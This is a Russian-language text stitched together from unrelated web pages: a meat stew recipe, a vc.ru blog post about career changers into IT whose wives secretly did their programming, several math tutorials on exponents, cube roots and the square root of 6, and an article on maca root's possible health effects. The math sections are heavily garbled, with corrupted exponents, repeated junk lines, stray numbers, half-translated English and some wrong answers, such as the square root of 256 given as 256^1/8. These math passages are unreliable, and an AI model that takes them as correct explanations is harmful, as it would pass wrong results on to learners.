В большой тяжелой кастрюле разогреть оливковое масло. Мясо хорошо обсушить, слегка посыпать мукой. Работая в партиях, выкладывать мясо в кастрюлю и жарить, пока оно не подрумянится. Переложить мясо на тарелку. В той же кастрюле нагреть масло, затем добавить лук и готовить до коричневого цвета. Посыпать его сахаром и карамелизовать. Переложить лук к мясу. Обжарить до мягкости сельдерей и морковь.
Кулинарной бечевкой связать веточки трав, заправить между ними анис и лавровый лист. Поместить травы в кастрюлю. Выложить мясо и лук. Включить огонь, добавить вино и довести до кипения, готовить, деглазируя кастрюлю, пока объем жидкости не уменьшится вдвое.
Убавить огонь, добавить бульон, накрыть крышкой и готовить на медленном огне около часа. Удалить травы. Добавить картофель и готовить рагу еще 30 минут. Положить горошек, готовить в течение 5 минут.

Конь остановлен, изба догорела — Иван Белокаменцев на vc.ru
С виду – мужики как мужики. Ну да, среднего возраста, со слегка притухшим взглядом, без искорки. Но таких много среди пытающихся войти в айти. Внешние признаки в резюме и на собеседовании – как у всех, ничего выдающегося.
12 805 просмотров
Но у этих парней есть тайна. Нет, у них Тайна. Вскрывается, как теперь выяснилось, элементарно – задним умом и я крепок. Но то ли я какой-то не такой, то ли явление действительно из ряда вон… Распознать именно тенденцию смог лишь с третьего раза.
История будет короткой, чай не успеете допить.
Я, по злой воле начальства, занимаюсь подготовкой программистов. Принципиально кандидаты мои делятся на две категории: вчерашние студенты и те, кто «одумался», «решился» и проч. По студентам сказать особо нечего – там всё, как у всех. Пришли, повыделывались день-другой, поняли ценность своих знаний и недоделанных вечерних стартапов и сели учиться массивы сортировать.
Спектр жизненных историй одумавшихся намного богаче. Кто только не попадается – учителя, разнорабочие, продавцы, инженеры, слесари, технологи, банковские работники, мастера из цеха, курьеры, несостоявшиеся ИПшники, сисадмины – короче, почти полный срез нашего многогранного общества.
Средний портрет нашего героя таков. Возраст 30-40 лет. Образование – техническое, бывает неоконченное. Работал тем, кем случайно по молодости устроился, и всё никак не мог уйти – платили неплохо, жена, дети, ипотека. Потом кто-то подкинул идею, предложил, настоял – в общем, довольно активно подтолкнул войти в айти. Появились курсы, самостоятельное изучение по видео и, конечно, «жгучее желание».
Под этот же портрет подходят и другие парни среднего возраста, которым не суждено стать героями этого текста. Различия проявляются на испытательном сроке. Там нужно сначала решать учебные задачи, потом – реальные, с постепенно возрастающей сложностью.
Итак, первый симптом – человек садится подальше от наставника. И вообще от людей. Благо, кабинет большой и есть полная свобода в выборе места (если оно никем не занято). Монитором к стенке, чтобы его никто не видел. Не критично – мало ли, стесняется человек.
Второй симптом – очень много общается через смартфон. Вообще, «официальные» коммуникации идут через электронную почту и телегу, которую все, для удобства, ставят на компьютер. А тут – смартфон, много смартфона. Много звонков из коридора, много сообщений, написанных и прочитанных под столом. Не критично – мало ли, дела семейные, или долги по прошлой работе.
Третий симптом – стремление забрать работу домой. Прям жгучее желание. Оно, к сожалению, жутко выпячивает, потому что парни знают «скинуть на флешку» и «выложить в облако» — т.е. что делать с файлом. Но не знают, как этот файл получить (исходники в смысле). Вынуждены обращаться за помощью. Начинаешь спрашивать, нафига тебе домой – уклоняются, мол дома соображаю лучше, ну и «жгучее желание». Не критично – мало ли, я и сам дома вечером лучше соображаю.
Четвертый симптом – полное отсутствие вопросов. Обычно так не бывает. Конечно, поначалу у всех стажёров глаза круглые и вопрос один – «ничего не понятно». Но это вопрос! Начинаешь уточнять, наводить, подсказывать, и процесс со скрипом запускается – вопросы становятся более реальными и конкретными. А у наших героев нет даже вопроса «ничего не понятно». Хоть допытывайся, хоть нет – в ответ уверенная каша. Нормально, разбираюсь, скоро будет результат. Не критично – мало ли, я тоже люблю сам, своим умом до всего доходить.
Тут вы, наверное, подумали, что парни просто списывают. Например, ищут решение в гугле (хотя, сейчас это уже и не назовёшь «списывают» — скорее аутсорсинг мозга). Или просят знакомых программистов помочь. Это нормально, это бывает, но… Не в таком объёме.
Чуваки умудряются протянуть три месяца. Со всеми вышеперечисленными симптомами, но задачи решаются. С низким, но ожидаемым уровнем качества. Да, решение появляется к утру, но появляется ведь. Что ж, блин, за нахрен? Если предположить, что списывают, то кто этот дурак? Кто настолько, я не знаю… Влюблён! в этих мужчин среднего возраста, что готов в течение трёх месяцев решать за них задачи? Или всё-таки они сами таким вот странным образом программировать учатся?
Нет, увы, не сами. Вскрывается лайвкодингом (теперь это – обязательный элемент программы первого месяца). До смешного – даёшь ту же задачу, что герой решил ночью. И видишь полный, беспросветный тупняк. Ну и вслед – признание.
Жена. Супруга. Любимая. Драгоценная. Всё – она.
Жена пилила много лет насчёт смены профессии. Жена не давала забыть, когда появлялись дети и ипотека. Жена тыкала носом в доход, который не растёт. Жена показывала на знакомых, кто сумел заставить себя. Жена сгоняла с дивана.
Жена заставила смотреть обучающие видео. После «я вообще ничего не понимаю» жена сидела вечерами и сама изучала эти видео. Жена велела купить курс. Жена не выдержала «да, скоро куплю» и купила сама. Жена параллельно смотрела эти видео и прорешивала задачи. Жена писала «дипломный проект» (извините, про современные курсы без кавычек никак).
Жена научилась программировать. Ещё раз. Жена научилась программировать. Жена отправила на собеседования. Жена, естественно, изучила все статьи на тему «что говорить на собеседовании». Жена проинструктировала. Жена натаскала решать среднестатистические задачи для собеседования. Жена научила правильным словам, после которых на собеседованиях не предлагают решать задачи.
Жена весь испытательный срок проходила испытания. Жена сидела у телефона и быстро отвечала в мессенджерах. Жена днём переделывала все домашние дела, чтобы вечером программировать то, что принёс с работы муж. Жена ближе к ночи будит мужа и объясняет код. Жена с утра догрызает ногти, переживая, сдал или нет.
Жена найдёт слова утешения, когда мужа выгонят. Жена горячо одобрит возвращение на прежнюю работу. Жена замолчит о программировании. На какое-то время.
Жена, приходи работать программистом. Все проблемы мотивации и адаптации у тебя уже решены. Всё получится. У всех, кто дошёл – получилось.
3-8 9 Оценить квадратный корень из 12 10 Оценить квадратный корень из 20 11 Оценить квадратный корень из 50 94 18 Оценить квадратный корень из 45 19 Оценить квадратный корень из 32 20 Оценить квадратный корень из 18 93-8 9 Оценить квадратный корень из 12 10 Оценить квадратный корень из 20 11 Оценить квадратный корень из 50 94 18 Оценить квадратный корень из 45 19 Оценить квадратный корень из 32 20 Оценить квадратный корень из 18 92
Как упростить 4-й корень из 4-х?
Алгебра — это раздел математики, который занимается изучением различных символов, представляющих такие величины, которые не имеют постоянного значения или количества, связанного с ними, вместо этого они имеют тенденцию меняться или изменяться во времени в зависимости от какого-либо другого фактора. Такие символы рассматриваются как переменные при изучении алгебры, а связанные с ними величины называются коэффициентами. Они могут быть изображены с помощью различных форм или даже английского алфавита. Другими словами, алгебра рассматривает представление чисел с помощью букв или символов, не делая акцента на изображении их фактических значений.
Алгебраическое выражение
Алгебраическое выражение представляет собой такое утверждение, которое формируется с использованием переменных и констант в математике, наряду с различными арифметическими операциями, такими как сложение, вычитание, умножение, деление, экспоненциальная операция, извлечение корня, например квадратный корень, кубический корень , корень четвертой степени и т. д. и т. д.
Примеры:
x + 1 — алгебраическое выражение, где x — переменная, а сложение — операция.
x ² − 1 — это алгебраическое выражение, где x — переменная, а вычитание и показатель степени — операция.
2x ² − 3xy + 5 — это алгебраическое выражение, в котором x и y являются переменными, а сложение, показатель степени, вычитание и умножение — операциями.
Базовая терминология
Переменная: Переменная — это термин в алгебраическом выражении, который может принимать любое значение, его действительное значение не существует.
Коэффициент: Это хорошо определенная константа, которая всегда используется с переменной.
Оператор: Это означает любую арифметическую операцию, такую как сложение, вычитание, умножение, деление, экспоненциальное действие, извлечение корня, например квадратный корень, кубический корень, корень четвертой степени и т. д. и т. п.
Константа: Такой член, который не зависит ни от коэффициента, ни от переменной и хорошо определен сам по себе, называется константой.
Показатель степени: Количество умножений числа само на себя относится к его показателю степени.
Правила экспонентов
Правило 1: Если два или более оснований имеют одинаковые степени и находятся в умножении, их степени складываются вместе, сохраняя основание нетронутым, т. е. ^m × a ⁿ = a ^m+n .
Пример:
2 ³ × 2 ⁵ = 2 ³⁺⁵ = 2 ⁸
4 ^-2 × 4 ³ × 4 ¹⁰⁰ = 4 ^-2+3+100 = 4 ^{1018288827 -2+3+100} = 4 ^{101828888828 -2+3+100} = 4 ^{1018288888888828} ^-2+3+100 = 4 ^{10118288 29} ^-2+3+100) Если две или более баз имеют одинаковые полномочия и находятся в дивизионе, их силы вычитаются вместе, сохраняя базу нетронутой. Следует отметить, что степень знаменателя должна быть вычтена из степени числителя, т.е.
Пример:
= 2 ^4-3 = 2 ¹ = 2
. to the power zero equals 1.
Example:
2 ⁰ = 1
1000000 ⁰ = 1
859 ⁰ = 1
Rule 4: When the Дана степень уже возведенного в степень показателя, нужно перемножить эти степени вместе, т. е. (a ^м ) ^н = a ^мн .
Пример:
(23) ⁴ = (2) ^{3 × 4} = 2 ¹²
[-3) ^-9
[-3) ^-9
[-3) ^-9
[-3) ^-9
[-3) ^-9
. 9×2 = (-3) ^-18
Правило 5: Если два разных основания имеют одинаковую мощность, то основания умножаются, а произведение возводится в степень, которую оба основания имели до умножения, т. е. a ^м × b ^м = (a × b) ^м .
Example:
4 ³ × 10 ³ = (4 × 10) ³ = 40 ³
2 ¹²³ × 56 ¹²³ = (2 × 56) ¹²³ = 112 ¹²³
Правило 6: а ^м/н =
Example:
2 ^1/2 =
2 ^1/3 =
2 ^4/5 =
Rule 7: If the power is отрицательное, верните основание, чтобы оно стало положительным, т. е. a ^-m = .
Пример:
2 ^-9 =
100 ^-8 =
Как упростить корень из 4-го числа?
Решение:
Четвертый корень 4 =
Использование свойства A ^M/N =, мы имеем
= 4 ^1/4
=
=
1818
=
=
181811
=
=
181811
=
=
= 2
=
=
1818
=
=
1818
.
Следовательно, .
Аналогичные задачи
Вопрос 1. Упрощайте десятый корень 16.
Решение:
D -Dest root 16 =
с использованием собственности A
7.
2 ^{.1828 =, мы имеем}
= 16 ^1/10
=
=
= 4 ^1/5
. Следовательно, = 4 ^1/5.918.
Вопрос 2. Упростите 20 -й корень из 100, поднятый для показателя 10.
Решение:
Данный:
Использование свойства A ^M/N =,
. 100 ^10/20
= 100 ^1/2
9m}, имеем
= 1024 ^1/100
= 2 ^10/100
= 2 ^1/10
14,

Математика_ _решения для 8 класса Математика Глава 3
Решения для учебников
Класс 8
г. Математика
индексы и кубический корень
Mathematics_ _solutions Решения для класса 8 по математике Глава 3 Индексы и кубический корень представлены здесь с простыми пошаговыми пояснениями. Эти решения для индексов и кубических корней чрезвычайно популярны среди учащихся 8 класса. Математические решения индексов и кубических корней пригодятся для быстрого выполнения домашних заданий и подготовки к экзаменам. Все вопросы и ответы из книги Mathematics_ _solutions of Class 8 Math Chapter 3 предоставляются здесь для вас бесплатно. Вам также понравится отсутствие рекламы в Mathematics_ _solutions Solutions от Meritnation. Все решения Mathematics_ _solutions для класса 8 по математике подготовлены экспертами и на 100% точны.
г.
Страница № 15:
Вопрос 1:
Представьте следующие числа в индексной форме.
(1) Корень пятой степени из 13
(2) Корень шестой степени из 9
(3) Квадратный корень из 256
(4) Кубический корень из 17
(5) Корень восьмой степени из 100
(6) Корень седьмой степени из 30
Ответ:
Известно, что
n ^th корень a выражается как a ^{1/ n} .
(1) Корень пятой степени из 13
= (13) ^1/5
(2) Корень в шестой степени из 9
= (9) ^1/6
(3) Корень квадратный из 256
= (256) 1/8
(4) Кубический корень из 17
= (17) ^1/3
(5) Корень в восьмой степени из 100
= (100) ^1/8
(6 1 811
)
= (30) ^1/7
Страница № 15:
Вопрос 2:
Запишите в форме ‘n ^th корень a’ в каждом из следующих чисел.
(1) 8114
(2) 4912
(3) 1515
(4) 51219
(5) 100119
(6) 617
.
^th Корень a выражается как a ^{1/ n} .
1 8114
= корень четвертой степени из 81
2 4912
= корень квадратный из 49
3 1515
= корень пятой степени из 15
4 51219
= корень девятой степени из 512
5

6 617
= корень седьмой степени из 6
Страница № 16:
Вопрос 1:
Заполните следующую таблицу.
Старший № Номер Сила рута Корень силы
(1) 22532 Куб квадратного корня из 225 Корень квадратный из 225
(2) 4545
(3) 8167
(4) 100410
(5) 2137
Ответ:
Старший № Номер Сила рута Корень силы
(1) 22532 куб квадратного корня из 225 корень квадратный из 225
(2) 4545 4 ^-й степень 5 ^-й корень 45 5 корень 4 степень 45
(3) 8167 6 ^-й степень 7 ^-й корень 81 7 ^-й корень из 6 ^й степень 81
(4) 100410 4 степень 10 корень 100 10 корень из 4 степень 100
(5) 2137 куб из 7 ^-й корень из 21 7 ^-й корень куба из 21
Страница № 16:
Вопрос 2:
Запишите следующие числа в виде рациональных индексов.
(1) Корень квадратный из 5-й степени из 121
(2) Куб корня из 4-й степени из 324
(3) Корень 5-й степени из 264
(4) Куб корня из кубического из 3
Ответ:
Известно that,
a ^{m / n} = ( a ^m ) ^{1/ n} means ‘ n ^th root of m ^th power of а ‘.
a ^{m / n} = ( a ^{1/ n} ) ^m means ‘ m ^th power of n ^th root of и ‘.
(1) Квадратный корень из 5 степень из 121
=121512=12152
(2) Куб из 4 корень из 324
=324143=32434
квадратный корень из 18 из 12 2 5 918 264
=264215=26425
(4) Кубический корень из 3
=3133=333
Страница № 18:
Вопрос 1:
Найдите кубические корни следующих чисел.
(1) 8000
(2) 729
(3) 343
(4) −512
(5) −2744
(6) 32768
Ответ:
(1) Чтобы найти кубический корень из 8000, пусть сначала факторизуем 8000.
8000=2×2×2×2×2×2×5×5×58000=4×4×4×5×5×5 = 43×53=4×53    am×bm=a×bm8000=203∴ 80003=20
(2) Чтобы найти кубический корень из 729, давайте сначала разложим 729 на множители.
729=3×3×3×3×3×3729=3×3×3×3×3×3=3×33=93∴7293=9
(3) Чтобы найти кубический корень из 343, давайте сначала разложим 343 на множители.
343=7×7×7=73∴3433=7
(4) Чтобы найти кубический корень из −512, сначала разложим 512 на множители.
512=2×2×2×2×2×2×2×2×2512=2×2×2×2×2×2×2×2×2=8×8×8×=83-512= -8×-8×-8=-83∴-5123=-8
(5) Чтобы найти кубический корень из -2744, давайте сначала разложим 2744 на множители.
2744=2×2×2×7×7×72744=2×7×2×7×2×7=2×73=143-2744=-143∴-27443=-14
(6) Чтобы найти кубический корень из 32768, сначала разложим на множители 32768.
32768=2×2×2×2×2×2×2×2×2×2×2×2×2×2×232768=2×2×2×2×2×2×2×2×2 ×2×2×2×2×2×2=32×32×32=323∴327683=32
Page No 18:
Question 2:
Simplify:
(1) 271253
(2) 16543
Answer:

1 271253=3×3×35×5×53=33533=3533     ambm =abm=35
2 16543=2×2×2×22×3×3×33=2×2×23×3×33=23333=2333    ambm=abm=23
Страница № 18:
Вопрос 3 :
Если 7293 = 9, то 0,0007293 = ?
Ответ:
Дано, что
7293=90,0007293=720003=729310000003=93310033=9100=0,09

Квадратный корень из 6 + решение со свободным шагом 60002
В этой статье приведены подробные инструкции по вычислению квадратного корня из 6. Символ квадратного корня √ , а √6 равен 2,45 . Квадратный корень уменьшит степень данной цифры вдвое. Следовательно, если 2,45 возвести в степень 2 , получится исходное число.
В этой статье мы проанализируем и найдем квадратный корень из 6 , используя различные математические методы, такие как метод аппроксимации и метод длинного деления. 92$
√6 = ±2,45
Квадрат можно сократить с помощью квадратного корня, так как эквивалентно 1/2 ; следовательно, получив 2,45. Следовательно, 2,45 — это квадратный корень из 6. Квадратный корень генерирует положительных и отрицательных целых чисел .
Как вычислить квадратный корень из 6?
Вы можете вычислить квадратный корень из 6 , используя любой из двух широко используемых методов в математике; один из них — метод приближения , а другой метод Long Division .
Символ √ интерпретируется как 6 , возведенное в степень 1/2 . Таким образом, любое число, умноженное само на себя, дает его квадрат, а когда из любого числа, возведенного в квадрат, извлекается квадратный корень, получается действительное число.
Давайте обсудим каждый из них, чтобы лучше понять концепции.
Извлечение квадратного корня методом деления в длину
Процесс деления в длину — один из наиболее распространенных методов, используемых для нахождения квадратных корней заданного числа. Его легко понять, и он дает более надежные и точные ответы. Метод длинного деления сводит многозначное число к его равным частям.
Научиться находить квадратный корень из числа легко с помощью метода деления в длинную сторону. Все, что вам нужно, это пять основных операций: разделить, умножить, вычесть, уменьшить или увеличить, а затем повторить.
Ниже приведены простые шаги, которые необходимо выполнить, чтобы найти квадратный корень из 9. 1813 6 , используя метод деления в большую сторону:
Шаг 1
Сначала запишите данное число 6 в символе деления, как показано на рисунке 1.
Шаг 2
Начиная с правой стороны номера, разделите число 6 на пару , например 06.
Шаг 3
Теперь разделите цифру 6 на число, получив число либо 6, либо меньше 6. Следовательно, в этом случае остаток равен 2, тогда как частное равно 2.
Шаг 4
После этого сносим следующую пару 00. Теперь делимое равно 200. Чтобы найти следующий делитель, нам нужно удвоить полученное ранее частное. Удвоение 2 дает 4; следовательно, считайте его следующим делителем.
Шаг 5
Теперь соедините 4 с другим числом, чтобы получить новый делитель, который дает $\leq$ 200 при умножении на делитель. Если число не является правильным квадратом , добавьте пару нулей справа от числа перед началом деления.
Шаг 6
Прибавление 4 к делителю и умножение 44 на 4 дает 176 $\leq$ 200. Полученный остаток равен 24. Переместите следующую пару нулей вниз и повторите описанный выше процесс.
Шаг 7
Продолжайте повторять те же шаги до тех пор, пока не будет получен нулевой остаток или, если процесс деления продолжается бесконечно, решить до двух десятичных знаков.
Шаг 8
Полученное частное 2,45 представляет собой квадратный корень из 6. На приведенном ниже рисунке 1 подробно показан процесс деления в длину:
Рисунок 1
Извлечение квадратного корня методом аппроксимации
Метод аппроксимации включает угадывание квадратного корня из неполного квадратного числа путем деления его на полный квадрат меньше или больше этого числа и получение среднего значения.
Необходимо выполнить указанные подробные шаги, чтобы найти квадратный корень из 6 с использованием метода аппроксимации.
Шаг 1
Рассмотрим совершенный квадрат числа 4 меньше 6.
Шаг 2
Теперь разделите 6 на 2.
6 ÷ 2 = 3
Шаг 3
Теперь возьмите среднее 2 и 3. Полученное число примерно равно квадратному корню из 6.
(2 + 3) ÷ 2 = 2,5
Важные моменты
Число 6 не является полным квадратом.
Число 6 — иррациональное число.
Число 6 можно разложить на простые множители.
Является ли квадратный корень из 6 идеальным квадратом?
Число 6 равно не идеальному квадрату . Число является полным квадратом, если оно делится на две равные части или одинаковые целые числа. Если число является полным квадратом, оно также рационально.
Число, выраженное в форме p/q, называется рациональным числом . Все натуральные числа рациональны. Квадратный корень из полного квадрата — это целое число; следовательно, полный квадрат является рациональным числом.
Число, не являющееся полным квадратом, иррационально 9{1/2}$
= 2,45
Это показывает, что 6 не является полным квадратом, поскольку в нем есть десятичные разряды; следовательно, это иррациональное число.
Следовательно, приведенное выше обсуждение доказывает, что квадратный корень из 6 эквивалентен 2,45.
Изображения/математические чертежи создаются с помощью GeoGebra.
Список квадратных корней
4 Преимущества корня маки (и возможные побочные эффекты)
Джиллиан Кубала, MS, RD, и Хрефна Палсдоттир, MS — медицинский обзор Эми Рихтер, RD, питание — обновлено 6 января 2022 г.
Мы включаем продукты, которые мы считаем полезными для наших читателей. Если вы покупаете по ссылкам на этой странице, мы можем получить небольшую комиссию. Вот наш процесс.
Мака — это растение, которое некоторые жители Перу использовали на протяжении тысячелетий в качестве пищи и лекарств (1).
За последние несколько десятилетий мака приобрела популярность во всем мире как естественное средство от определенных проблем со здоровьем, включая бесплодие и низкое половое влечение.
В этой статье объясняется, что такое корень маки, выделяются 4 потенциальных преимущества и дается ответ, безопасно ли добавлять его в свой рацион.
Растение мака, известное с научной точки зрения как Lepidium meyenii , иногда называют перуанским женьшенем.
Мака — это крестоцветный овощ, родственный брокколи, цветной капусте, белокочанной капусте и листовой капусте.
Мака произрастает на высоких плато Перуанских Анд.
На самом деле жители Анд выращивают маку уже более 2000 лет. Это одно из немногих съедобных растений, способных выжить в суровых погодных условиях на высоте более 4000 метров (13 123 фута) в перуанских Андах (2).
Традиционно жители Анд использовали маку в пищу, употребляя ее в виде ферментированного напитка или каши. Кроме того, жители Анд использовали маку в качестве природного лекарства для лечения различных заболеваний, таких как респираторные заболевания и ревматические заболевания (1).
В последние годы спрос на продукты из маки вырос, вероятно, из-за заявлений о том, что это растение может стимулировать либидо и фертильность.
Из-за роста мирового спроса на маку люди начали массовое производство этого растения в других частях мира, в том числе в горной провинции Юньнань в Китае (1).
Корень мака, наиболее часто используемая часть растения, содержит клетчатку, аминокислоты, витамины и минералы.
Он также содержит другие биологически активные соединения, в том числе макамиды, макаридины, алкалоиды и глюкозинолаты, которые, как считается, отвечают за лечебные свойства маки (2).
Несмотря на то, что люди утверждают, что мака поддерживает здоровье во многих отношениях, исследования в настоящее время ограничены, а результаты исследований о ее воздействии неоднозначны. Необходимы дополнительные исследования эффективности маки.
Вот некоторые потенциальные преимущества маки.
Резюме
Жители Перу на протяжении тысячелетий использовали маку в качестве пищи и природного лекарства. За последние несколько десятилетий он стал популярным во всем мире, особенно из-за его использования для повышения фертильности и либидо.
Некоторые данные свидетельствуют о том, что прием концентрированных добавок маки может принести пользу людям с низким либидо или низким сексуальным желанием.
Исследование, проведенное в 2015 году с участием 45 женщин, страдающих сексуальной дисфункцией, вызванной приемом антидепрессантов, показало, что прием 3000 мг корня маки в день в течение 12 недель значительно улучшал сексуальную функцию и либидо по сравнению с плацебо (3).
Обзор 2010 года, в который вошли четыре высококачественных исследования с участием 131 человека, обнаружил доказательства того, что прием маки улучшает половое влечение по крайней мере через 6 недель (4).
Однако исследователи отметили, что исследования, включенные в обзор, были небольшими, а данные были слишком ограниченными, чтобы делать однозначные выводы.
Несмотря на то, что это исследование многообещающее, в настоящее время неясно, имеет ли мака реальную пользу для лечения низкого либидо или сексуальной дисфункции.
Резюме
Ограниченные данные свидетельствуют о том, что мака может помочь улучшить сексуальное желание у некоторых людей. Однако в настоящее время исследования ограничены.
Прием добавок маки может помочь улучшить некоторые аспекты фертильности у людей со спермой.
Например, исследования показали, что прием маки может помочь улучшить концентрацию сперматозоидов или количество сперматозоидов на миллилитр спермы. Концентрация сперматозоидов тесно связана с мужской фертильностью (5, 6, 7).
В исследовании 2020 года оценивалось влияние маки на 69мужчин с диагнозом умеренное снижение количества сперматозоидов или снижение подвижности сперматозоидов. Подвижность сперматозоидов — это способность сперматозоидов правильно плавать.
Прием 2 г маки в день в течение 12 недель значительно улучшил концентрацию спермы по сравнению с плацебо. Однако существенной разницы в подвижности сперматозоидов между группами лечения и плацебо не было (6).
Хотя эти результаты являются многообещающими, исследования в настоящее время ограничены. Необходимы хорошо спланированные исследования для изучения влияния добавок маки на качество спермы и другие аспекты мужской фертильности.
Резюме
Мака может помочь улучшить некоторые аспекты качества спермы. Однако необходимы дополнительные исследования, чтобы полностью понять, как мака влияет на мужскую фертильность.
Менопауза возникает естественным образом у людей, у которых менструация. Это время жизни, когда менструации прекращаются навсегда (8).
Естественный спад уровня эстрогена, происходящий в это время, может вызвать ряд симптомов, некоторые из которых могут показаться неприятными. К ним относятся приливы, сухость влагалища, перепады настроения, проблемы со сном и раздражительность.
Некоторые исследования показывают, что мака может принести пользу людям в период менопаузы, помогая облегчить некоторые симптомы, включая приливы и прерывистый сон (9, 10).
Обзор 2011 года, в который вошли четыре исследования высокого качества, обнаружил некоторые доказательства того, что лечение макой положительно влияет на симптомы менопаузы.
Однако исследователи отметили, что недостаточно доказательств, чтобы определить безопасность или эффективность маки для лечения симптомов менопаузы (11).
Резюме
Согласно ограниченным данным, мака может помочь уменьшить некоторые симптомы менопаузы. Однако недостаточно доказательств, чтобы определить, безопасна ли мака для лечения симптомов менопаузы у всех.
Ограниченные данные свидетельствуют о том, что мака может помочь повысить уровень энергии и улучшить настроение у некоторых групп населения.
Исследование, проведенное в 2016 году с участием 175 человек, живущих как на малых, так и на больших высотах, показало, что прием 3 граммов красной или черной маки в день в течение 12 недель улучшал настроение и показатели энергии по сравнению с плацебо (12).
Более того, исследование, проведенное в 2015 году среди 29 китайских женщин в постменопаузе, показало, что прием 3,3 г маки в день в течение 6 недель снижает симптомы депрессии по сравнению с плацебо (13).
Кроме того, результаты более старых исследований показывают, что мака может быть полезна для уменьшения симптомов тревоги и депрессии у женщин в постменопаузе (14).
Хотя мака может оказывать благотворное влияние на настроение и уровень энергии, в настоящее время недостаточно доказательств, чтобы делать однозначные выводы.
Резюме
Некоторые данные свидетельствуют о том, что мака может повышать уровень энергии и положительно влиять на настроение. Однако в настоящее время исследования ограничены.
Исследования на людях, изучающие потенциальную пользу маки для здоровья, ограничены.
Однако первоначальные результаты исследований на животных показывают, что мака может влиять на здоровье следующим образом:
Может способствовать сохранению когнитивных функций. Исследования на грызунах показали, что мака помогает улучшить когнитивные функции и координацию движений и может помочь замедлить возрастное снижение когнитивных функций (15) .
Может помочь при доброкачественной гиперплазии предстательной железы (ДГПЖ). Результаты исследований на животных позволяют предположить, что мака может помочь уменьшить количество воспалительных белков и ингибировать ДГПЖ или увеличение простаты (16).
Может улучшить здоровье кожи. Было показано, что мака ускоряет заживление ран, а более раннее исследование показало, что она защищает от ультрафиолетового излучения при нанесении на кожу животных (17, 18).
Имейте в виду, что в настоящее время нет доказательств того, что эти потенциальные преимущества применимы к людям, поэтому для их изучения потребуются исследования на людях.
Резюме
Ограниченные данные исследований на животных свидетельствуют о том, что мака может быть полезна для ДГПЖ, здоровья мозга и кожи.
Исследования показывают, что мака в целом безопасна и ее использование не связано с неблагоприятными побочными эффектами.
Исследование, проведенное в 2016 году с участием 175 человек, показало, что прием 3 граммов красной или черной маки в день в течение 12 недель хорошо переносится и не вызывает серьезных побочных эффектов (12).
Традиционные методы потребления маки, такие как варка и последующее употребление в пищу или питье, также не были связаны с неблагоприятными последствиями (19).
В настоящее время неизвестно, безопасно ли употребление маки во время беременности или кормления грудью, поэтому беременным или кормящим маке следует проконсультироваться со своим медицинским персоналом, прежде чем принимать маку.
Резюме
Мака считается безопасной для большинства людей. Однако, если у вас есть проблемы со здоровьем, вы беременны или кормите грудью, поговорите с доверенным врачом, прежде чем принимать маку. Это не может быть подходящим или безопасным для всех.
Мака доступна во многих формах, включая капсулы и порошки.
Порошок маки можно добавлять в смузи, овсянку, выпечку, энергетические батончики и многое другое. У него ореховый, похожий на ириски вкус, поэтому он хорошо сочетается со многими более сладкими вкусами.
Оптимальная доза для медицинского применения не установлена. Однако доза порошка корня маки, используемая в исследованиях, обычно колеблется от 1,5 до 3 граммов в день.
Вы можете найти маку в некоторых супермаркетах, магазинах здоровой пищи и в различных интернет-магазинах. На Amazon также есть очень хороший выбор с тысячами отзывов.
Если вы хотите убедиться, что вы выбрали маку более высокого качества, или получить индивидуальную рекомендацию по дозировке, поговорите с квалифицированным медицинским работником, например, с зарегистрированным диетологом или терапевтом.
Резюме
Порошок корня маки широко доступен, и его легко включить в свой рацион.
Хотя исследования потенциального воздействия маки на здоровье ограничены, некоторые данные свидетельствуют о том, что прием добавок маки может помочь улучшить определенные аспекты сексуального здоровья и фертильности, а также уменьшить симптомы менопаузы и улучшить настроение у некоторых людей.
Однако ученым необходимо более тщательно изучить маку, прежде чем ее можно будет рекомендовать для лечения каких-либо заболеваний или симптомов.
No related posts.